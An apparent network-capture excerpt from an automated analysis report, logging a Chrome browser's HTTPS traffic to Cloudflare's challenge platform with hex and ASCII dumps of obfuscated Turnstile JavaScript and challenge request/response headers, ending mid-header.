2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 2c 6d 3d 6b 5b 68 6f 28 37 36 33 29 5d 2c 6b 5b 68 6f 28 33 39 30 29 5d 28 6c 5b 68 6f 28 31 31 38 39 29 5d 28 6d 29 2c 2d 31 29 29 3f 65 4d 5b 68 6f 28 31 35 34 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 70 29 7b 68 70 3d 68 6f 2c 65 4d 5b 68 70 28 33 35 34 29 5d 28 29 7d 2c 31 65 33 29 3a 28 6e 3d 7b 7d 2c 6e 5b 68 6f 28 31 32 34 38 29 5d 3d 65 2c 6e 5b 68 6f 28 31 35 32 37 29 5d 3d 66 2c 6e 5b 68 6f 28 31 32 31 37 29 5d 3d 67 2c 6e 5b 68 6f 28 31 32 37 31 29 5d 3d 68 2c 6e 5b 68 6f 28 31 34 38 35 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 68 6f 28 31 35 34 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 71 29 7b 68 71 3d 68 6f 2c 65 4d 5b 68 71 28 31 31 35 33 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 68 71 28 39 37 38 29 29 7d 2c 31 30 29 2c 65 4d 5b 68 6f 28 31 Data Ascii: ,m=k[ho(763)],k[ho(390)](l[ho(1189)](m),-1))?eM[ho(1544)](function(hp){hp=ho,eM[hp(354)]()},1e3):(n={},n[ho(1248)]=e,n[ho(1527)]=f,n[ho(1217)]=g,n[ho(1271)]=h,n[ho(1485)]=i,o=n,eM[ho(1544)](function(hq){hq=ho,eM[hq(1153)](o,undefined,hq(978))},10),eM[ho(1
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 66 54 2c 67 32 5b 67 4a 28 31 34 33 38 29 5d 3d 66 69 2c 67 32 5b 67 4a 28 37 38 35 29 5d 3d 66 50 2c 67 32 5b 67 4a 28 37 34 31 29 5d 3d 66 4f 2c 67 32 5b 67 4a 28 31 35 30 33 29 5d 3d 66 39 2c 67 32 5b 67 4a 28 31 38 30 31 29 5d 3d 66 61 2c 67 32 5b 67 4a 28 31 31 37 32 29 5d 3d 66 77 2c 67 32 5b 67 4a 28 35 34 32 29 5d 3d 66 79 2c 67 32 5b 67 4a 28 37 37 37 29 5d 3d 66 78 2c 67 32 5b 67 4a 28 33 38 36 29 5d 3d 66 49 2c 67 32 5b 67 4a 28 31 30 31 35 29 5d 3d 66 48 2c 67 32 5b 67 4a 28 31 35 35 30 29 5d 3d 66 47 2c 67 32 5b 67 4a 28 31 30 36 35 29 5d 3d 66 46 2c 67 32 5b 67 4a 28 31 36 31 36 29 5d 3d 66 71 2c 67 32 5b 67 4a 28 39 39 30 29 5d 3d 67 31 2c 67 32 5b 67 4a 28 31 32 30 39 29 5d 3d 66 75 2c 67 32 5b 67 4a 28 31 30 38 35 29 5d 3d 66 72 2c 67 32 Data Ascii: fT,g2[gJ(1438)]=fi,g2[gJ(785)]=fP,g2[gJ(741)]=fO,g2[gJ(1503)]=f9,g2[gJ(1801)]=fa,g2[gJ(1172)]=fw,g2[gJ(542)]=fy,g2[gJ(777)]=fx,g2[gJ(386)]=fI,g2[gJ(1015)]=fH,g2[gJ(1550)]=fG,g2[gJ(1065)]=fF,g2[gJ(1616)]=fq,g2[gJ(990)]=g1,g2[gJ(1209)]=fu,g2[gJ(1085)]=fr,g2
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 69 56 28 31 36 38 39 29 5d 28 47 29 29 3a 6a 28 29 5b 69 56 28 31 35 36 31 29 5d 3d 27 27 7d 7d 2c 67 38 3d 67 4a 28 31 34 36 34 29 5b 67 4a 28 31 33 38 35 29 5d 28 27 3b 27 29 2c 67 39 3d 67 38 5b 67 4a 28 31 31 36 39 29 5d 5b 67 4a 28 31 32 35 39 29 5d 28 67 38 29 2c 65 4d 5b 67 4a 28 39 37 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 58 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 69 58 3d 67 4a 2c 69 3d 7b 27 56 6d 44 46 72 27 3a 69 58 28 34 38 39 29 2c 27 4b 46 73 50 72 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 2c 27 54 52 48 55 61 27 3a 69 58 28 31 36 37 37 29 2c 27 77 74 4f 71 43 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 Data Ascii: H]=[]),j[H][iV(1689)](G)):j()[iV(1561)]=''}},g8=gJ(1464)[gJ(1385)](';'),g9=g8[gJ(1169)][gJ(1259)](g8),eM[gJ(972)]=function(g,h,iX,i,j,k,l,m){for(iX=gJ,i={'VmDFr':iX(489),'KFsPr':function(n,o,s){return n(o,s)},'TRHUa':iX(1677),'wtOqC':function(n,o){return
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 68 3d 3d 3d 67 7d 2c 27 4b 68 62 63 50 27 3a 6a 62 28 31 32 37 30 29 2c 27 69 58 71 6f 79 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 28 68 29 7d 7d 29 3b 74 72 79 7b 69 66 28 65 5b 6a 62 28 31 32 31 32 29 5d 28 6a 62 28 38 31 32 29 2c 65 5b 6a 62 28 31 37 30 30 29 5d 29 29 7b 66 6f 72 28 47 3d 65 5b 6a 62 28 31 34 32 30 29 5d 28 48 2c 74 68 69 73 29 2c 49 3d 27 27 2c 4a 3d 30 3b 4b 3c 4c 3b 4e 2b 3d 4f 5b 74 68 69 73 2e 68 5b 31 39 5e 74 68 69 73 2e 67 5d 5b 33 5d 5e 65 5b 6a 62 28 31 36 33 33 29 5d 28 65 5b 6a 62 28 34 33 31 29 5d 28 74 68 69 73 2e 68 5b 31 39 2e 39 38 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 6a 62 28 33 35 39 29 5d 28 74 68 69 73 2e 68 5b 31 39 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 31 35 Data Ascii: eturn h===g},'KhbcP':jb(1270),'iXqoy':function(g,h){return g(h)}});try{if(e[jb(1212)](jb(812),e[jb(1700)])){for(G=e[jb(1420)](H,this),I='',J=0;K<L;N+=O[this.h[19^this.g][3]^e[jb(1633)](e[jb(431)](this.h[19.98^this.g][1][jb(359)](this.h[19^this.g][0]++),15
2024-11-26 05:40:30 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 68 3e 69 7d 2c 27 7a 59 55 59 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 64 42 5a 44 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 47 5a 6a 73 41 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 46 72 56 72 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 21 3d 3d 69 7d 2c 27 61 54 78 58 55 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 71 68 57 6a 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 49 61 4a 46 67 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 Data Ascii: return h>i},'zYUYT':function(h,i){return h(i)},'dBZDA':function(h,i){return i&h},'GZjsA':function(h,i){return h-i},'FrVrM':function(h,i){return h!==i},'aTxXU':function(h,i){return h(i)},'qhWjl':function(h,i){return i&h},'IaJFg':function(h,i){return i\|h},'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.16	49742	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:32 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8e878b3d8eb043b2&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:32 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:32 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118345 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e878b57e9e53320-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 05:40:32 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 50 69 6b 62 33 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.uPikb3={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 Data Ascii: 20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 2c 67 65 2c 67 66 2c 67 67 2c 67 71 2c 67 42 2c 67 46 2c 67 47 2c 67 48 2c 66 38 2c 66 39 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 39 32 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 39 34 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 36 32 29 29 2f 33 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 32 39 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 34 32 29 29 2f 35 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 30 34 29 29 2f 36 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 34 39 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 Data Ascii: ,ge,gf,gg,gq,gB,gF,gG,gH,f8,f9){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=parseInt(gI(1292))/1+parseInt(gI(494))/2(parseInt(gI(1662))/3)+-parseInt(gI(929))/4(-parseInt(gI(942))/5)+-parseInt(gI(1704))/6+parseInt(gI(449))/7*(-parseInt(gI
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 30 29 5d 28 67 4e 28 35 35 32 29 2c 67 4e 28 34 36 38 29 29 3f 28 48 3d 7b 7d 2c 48 5b 67 4e 28 35 34 34 29 5d 3d 67 4e 28 31 32 36 31 29 2c 48 5b 67 4e 28 31 35 32 32 29 5d 3d 73 5b 67 4e 28 31 32 39 30 29 5d 5b 67 4e 28 31 32 32 37 29 5d 2c 48 5b 67 4e 28 35 34 33 29 5d 3d 67 4e 28 38 30 37 29 2c 48 5b 67 4e 28 38 33 30 29 5d 3d 6f 5b 67 4e 28 31 30 32 32 29 5d 2c 78 5b 67 4e 28 37 39 33 29 5d 5b 67 4e 28 31 37 32 34 29 5d 28 48 2c 27 2a 27 29 29 3a 28 46 3d 6f 5b 67 4e 28 31 30 38 30 29 5d 28 27 73 27 2c 45 29 26 26 21 67 5b 67 4e 28 31 32 35 34 29 5d 28 68 5b 44 5d 29 2c 6f 5b 67 4e 28 31 30 38 30 29 5d 28 67 4e 28 31 36 38 36 29 2c 6f 5b 67 4e 28 38 34 37 29 5d 28 69 2c 44 29 29 3f 6f 5b 67 4e 28 36 36 33 29 5d 28 73 2c 69 2b 44 2c 45 29 3a 46 7c 7c Data Ascii: 0)](gN(552),gN(468))?(H={},H[gN(544)]=gN(1261),H[gN(1522)]=s[gN(1290)][gN(1227)],H[gN(543)]=gN(807),H[gN(830)]=o[gN(1022)],x[gN(793)][gN(1724)](H,'*')):(F=o[gN(1080)]('s',E)&&!g[gN(1254)](h[D]),o[gN(1080)](gN(1686),o[gN(847)](i,D))?o[gN(663)](s,i+D,E):F\|\|
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 5b 67 51 28 31 31 38 30 29 5d 28 4e 29 2c 4f 5b 67 51 28 31 36 31 34 29 5d 5b 67 51 28 31 36 34 35 29 5d 28 29 29 7d 7d 2c 65 4d 5b 67 4a 28 31 32 31 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 68 31 2c 65 2c 68 2c 69 29 7b 65 3d 28 68 31 3d 67 4a 2c 7b 27 51 70 74 4e 41 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 5e 68 7d 2c 27 58 63 49 47 73 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 26 68 7d 2c 27 75 6e 69 70 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 5e 68 7d 2c 27 6b 58 73 4f 48 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 67 5e 68 7d 2c 27 6e 4e 65 6a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 67 2c 68 29 7b 72 65 74 75 72 6e 20 68 5e 67 7d 2c Data Ascii: [gQ(1180)](N),O[gQ(1614)][gQ(1645)]())}},eM[gJ(1210)]=function(c,h1,e,h,i){e=(h1=gJ,{'QptNA':function(g,h){return g^h},'XcIGs':function(g,h){return g&h},'unipO':function(g,h){return g^h},'kXsOH':function(g,h){return g^h},'nNejI':function(g,h){return h^g},
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 6e 28 68 59 29 7b 68 59 3d 68 58 2c 65 5b 68 59 28 31 36 33 38 29 5d 28 65 5b 68 59 28 34 34 33 29 5d 2c 68 59 28 31 33 33 33 29 29 3f 64 28 29 5b 68 59 28 34 34 30 29 5d 3d 27 27 3a 65 4d 5b 65 5b 68 59 28 31 37 35 39 29 5d 5d 26 26 28 65 4d 5b 68 59 28 31 36 31 34 29 5d 5b 68 59 28 36 30 36 29 5d 28 29 2c 65 4d 5b 68 59 28 31 36 31 34 29 5d 5b 68 59 28 31 33 39 35 29 5d 28 29 2c 65 4d 5b 68 59 28 35 32 31 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 59 28 37 39 33 29 5d 5b 68 59 28 31 37 32 34 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 65 5b 68 59 28 37 37 38 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 59 28 31 32 39 30 29 5d 5b 68 59 28 31 32 32 37 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 68 59 28 31 37 38 36 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d Data Ascii: n(hY){hY=hX,e[hY(1638)](e[hY(443)],hY(1333))?d()[hY(440)]='':eM[e[hY(1759)]]&&(eM[hY(1614)][hY(606)](),eM[hY(1614)][hY(1395)](),eM[hY(521)]=!![],eM[hY(793)][hY(1724)]({'source':e[hY(778)],'widgetId':eM[hY(1290)][hY(1227)],'event':e[hY(1786)],'cfChlOut':eM
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 5b 68 5a 28 31 32 39 30 29 5d 5b 68 5a 28 37 32 34 29 5d 2c 73 5b 68 5a 28 31 32 36 30 29 5d 3d 65 4d 5b 68 5a 28 31 32 39 30 29 5d 5b 68 5a 28 38 38 37 29 5d 2c 78 3d 73 2c 42 3d 6e 65 77 20 65 4d 5b 28 68 5a 28 31 34 35 33 29 29 5d 28 29 2c 21 42 29 72 65 74 75 72 6e 3b 43 3d 6b 5b 68 5a 28 31 35 36 38 29 5d 2c 42 5b 68 5a 28 38 34 38 29 5d 28 43 2c 6f 2c 21 21 5b 5d 29 2c 42 5b 68 5a 28 38 39 36 29 5d 3d 35 65 33 2c 42 5b 68 5a 28 39 30 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 42 5b 68 5a 28 31 36 35 33 29 5d 28 6b 5b 68 5a 28 31 36 33 39 29 5d 2c 6b 5b 68 5a 28 36 30 30 29 5d 29 2c 44 3d 7b 7d 2c 44 5b 68 5a 28 31 33 38 37 29 5d 3d 67 2c 44 5b 68 5a 28 31 31 34 33 29 5d 3d 6c 2c 44 2e 63 63 3d 68 2c 44 5b 68 5a 28 35 34 34 29 5d 3d 6d 2c 44 Data Ascii: [hZ(1290)][hZ(724)],s[hZ(1260)]=eM[hZ(1290)][hZ(887)],x=s,B=new eM[(hZ(1453))](),!B)return;C=k[hZ(1568)],B[hZ(848)](C,o,!![]),B[hZ(896)]=5e3,B[hZ(904)]=function(){},B[hZ(1653)](k[hZ(1639)],k[hZ(600)]),D={},D[hZ(1387)]=g,D[hZ(1143)]=l,D.cc=h,D[hZ(544)]=m,D
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 28 6d 29 3e 2d 31 29 3f 65 4d 5b 69 32 28 31 37 36 39 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 33 2c 76 29 7b 28 69 33 3d 69 32 2c 69 33 28 37 32 31 29 3d 3d 3d 69 33 28 37 32 31 29 29 3f 65 4d 5b 69 33 28 31 38 34 32 29 5d 28 29 3a 69 3d 28 76 3d 27 6a 27 2c 6b 5b 69 33 28 31 30 30 32 29 5d 28 67 5b 69 33 28 31 32 39 30 29 5d 5b 69 33 28 31 31 34 31 29 5d 2c 6b 5b 69 33 28 31 31 33 39 29 5d 29 3f 76 3d 27 6c 27 3a 6b 5b 69 33 28 31 36 37 38 29 5d 28 68 5b 69 33 28 31 32 39 30 29 5d 5b 69 33 28 31 31 34 31 29 5d 2c 6b 5b 69 33 28 31 30 30 38 29 5d 29 26 26 28 76 3d 27 6d 27 29 2c 6a 5b 69 33 28 31 33 39 30 29 5d 28 6b 5b 69 33 28 38 30 39 29 5d 2c 69 33 28 31 31 31 32 29 2b 76 2b 6b 5b 69 33 28 35 35 37 29 5d 29 29 7d 2c 31 65 33 29 3a 28 6e 3d 7b 7d 2c 6e Data Ascii: (m)>-1)?eM[i2(1769)](function(i3,v){(i3=i2,i3(721)===i3(721))?eM[i3(1842)]():i=(v='j',k[i3(1002)](g[i3(1290)][i3(1141)],k[i3(1139)])?v='l':k[i3(1678)](h[i3(1290)][i3(1141)],k[i3(1008)])&&(v='m'),j[i3(1390)](k[i3(809)],i3(1112)+v+k[i3(557)]))},1e3):(n={},n
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 7c 31 65 34 2c 65 3d 67 43 28 29 2c 21 65 4d 5b 6a 73 28 35 32 31 29 5d 26 26 21 67 68 28 29 26 26 21 65 4d 5b 6a 73 28 31 36 31 34 29 5d 5b 6a 73 28 34 31 38 29 5d 26 26 63 5b 6a 73 28 31 34 30 31 29 5d 28 65 2d 67 42 2c 64 29 3f 66 58 28 29 3a 63 5b 6a 73 28 38 37 35 29 5d 28 66 59 29 7d 2c 31 65 33 29 29 2c 67 46 3d 7b 7d 2c 67 46 5b 67 4a 28 34 31 38 29 5d 3d 21 5b 5d 2c 67 46 5b 67 4a 28 36 38 39 29 5d 3d 66 48 2c 67 46 5b 67 4a 28 37 38 39 29 5d 3d 67 74 2c 67 46 5b 67 4a 28 38 34 33 29 5d 3d 67 79 2c 67 46 5b 67 4a 28 31 36 34 35 29 5d 3d 67 7a 2c 67 46 5b 67 4a 28 31 33 39 35 29 5d 3d 67 75 2c 67 46 5b 67 4a 28 31 31 33 37 29 5d 3d 67 41 2c 67 46 5b 67 4a 28 31 35 35 31 29 5d 3d 67 78 2c 67 46 5b 67 4a 28 36 32 31 29 5d 3d 67 77 2c 67 46 5b 67 4a Data Ascii: \|1e4,e=gC(),!eM[js(521)]&&!gh()&&!eM[js(1614)][js(418)]&&c[js(1401)](e-gB,d)?fX():c[js(875)](fY)},1e3)),gF={},gF[gJ(418)]=![],gF[gJ(689)]=fH,gF[gJ(789)]=gt,gF[gJ(843)]=gy,gF[gJ(1645)]=gz,gF[gJ(1395)]=gu,gF[gJ(1137)]=gA,gF[gJ(1551)]=gx,gF[gJ(621)]=gw,gF[gJ
2024-11-26 05:40:32 UTC	1369	IN	Data Raw: 5b 6a 76 28 31 30 34 34 29 5d 28 74 68 69 73 2e 68 5b 68 5b 6a 76 28 37 38 33 29 5d 28 31 30 30 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 6a 76 28 31 37 39 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 30 5d 5b 30 5d 2b 2b 29 2d 34 36 2c 32 35 36 29 26 32 35 35 2e 36 2c 31 36 29 7c 28 74 68 69 73 2e 68 5b 68 5b 6a 76 28 35 39 35 29 5d 28 31 30 30 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 68 5b 6a 76 28 31 30 34 34 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 30 5d 5b 31 5d 5b 6a 76 28 31 37 39 37 29 5d 28 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 30 30 5d 5b 30 5d 2b 2b 29 2d 34 36 2c 32 35 36 29 26 32 35 35 29 3c 3c 38 2c 74 68 69 73 2e 68 5b 68 5b 6a 76 28 35 39 35 29 5d 28 31 30 30 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 5e 68 5b 6a Data Ascii: [jv(1044)](this.h[h[jv(783)](100,this.g)][1][jv(1797)](this.h[this.g^100][0]++)-46,256)&255.6,16)\|(this.h[h[jv(595)](100,this.g)][3]^h[jv(1044)](this.h[this.g^100][1][jv(1797)](this.h[this.g^100][0]++)-46,256)&255)<<8,this.h[h[jv(595)](100,this.g)][3]^h[j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.16	49743	104.18.94.41	443	8012	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 05:40:32 UTC	1174	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/2088253425:1732598676:xqCfkJoQHbGGAUFTOOA5ON0U9RX3BvZEBOmLZlWQOgA/8e878b3d8eb043b2/UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3050 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: UiNY8q02fyLjpRtShWCy3wKR1xPb2nfEQvS60awUe30-1732599628-1.1.1.1-zHoXuppmkgJdM9e3Ttcf1kEL4s7BWOSQLHWM.2FlBgA.n9hPYeO41G_0ymgzZ9JD sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv0/0/d77oe/0x4AAAAAAA0AUtyons2FCDWi/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-26 05:40:32 UTC	3050	OUT	Data Raw: 76 5f 38 65 38 37 38 62 33 64 38 65 62 30 34 33 62 32 3d 6a 79 36 53 48 53 69 5a 61 77 70 34 36 66 79 52 46 69 64 71 64 51 64 58 53 52 4c 64 79 74 54 69 70 51 74 64 46 38 64 61 74 64 49 37 32 64 50 35 50 64 46 59 75 52 70 44 64 77 50 24 38 59 52 64 32 75 64 76 52 61 6d 64 6e 4c 70 77 59 4a 53 4d 64 64 50 64 46 79 39 64 31 53 66 32 74 64 72 38 55 64 4b 64 4d 42 68 68 70 53 75 6d 59 6d 64 44 76 52 66 30 6d 64 76 79 52 6d 4f 42 74 75 78 70 71 39 54 53 61 5a 64 48 4c 66 24 73 76 24 52 64 43 64 74 7a 64 4d 57 35 44 4d 61 63 64 6b 38 6a 49 44 50 65 59 69 65 32 32 71 71 4c 52 4e 4d 70 70 64 66 7a 64 4b 31 59 52 4e 4c 70 62 51 65 52 54 64 66 72 43 64 70 69 4c 72 55 30 64 61 4c 64 54 55 75 4e 67 64 72 6a 41 4d 52 70 32 64 66 6a 50 4d 49 72 38 66 61 79 52 34 64 64 Data Ascii: v_8e878b3d8eb043b2=jy6SHSiZawp46fyRFidqdQdXSRLdytTipQtdF8datdI72dP5PdFYuRpDdwP$8YRd2udvRamdnLpwYJSMddPdFy9d1Sf2tdr8UdKdMBhhpSumYmdDvRf0mdvyRmOBtuxpq9TSaZdHLf$sv$RdCdtzdMW5DMacdk8jIDPeYie22qqLRNMppdfzdK1YRNLpbQeRTdfrCdpiLrU0daLdTUuNgdrjAMRp2dfjPMIr8fayR4dd
2024-11-26 05:40:33 UTC	747	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 05:40:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149680 Connection: close cf-chl-gen: aAvaYu4s3FAgi7HRwEulcETiyVj/dpMeqLbksMpjr9wBAfAFI86VvzyvvixXuR7SllkHALDM4dsGM2u47UTksBvYcdGC64P76C3qDkNi9//NbO/0b75fwsuCyxR5TZs01u4nANvzoihTBHEs07xqJW9E2bDL5kw84+yc8W2kRDXg258rqRPAjqjlolkrPKv4PI4oyZM5a48Qp2l2GDh4h+2wvTNfBA0V1jgEdBLz6vhRDhycR2e2VdeolmVZqVwxUefL9/nkpHagmE6aVvxma/AcMnr1bsLMaVY1GPV0yOEDYT/Ja3udAe3lfH1+n3UrQH5ptmbZPQgalyQj5nlfG62q4bn6ONdj3sOoM21PbIGkxUnEAAgGPUzXpCIDPI2fEf3CtSupuukPJgkrKf3Ni16MuThKLSkeJIn1BN01oDnt0Z1FRf1TUl9bdq+VI+jwPwCOOcbwDutV4MMbPTq2sbRUvnqg4eIvwyaf4zd0kObk++o=$IXmdWXLbguan/UIM Server: cloudflare CF-RAY: 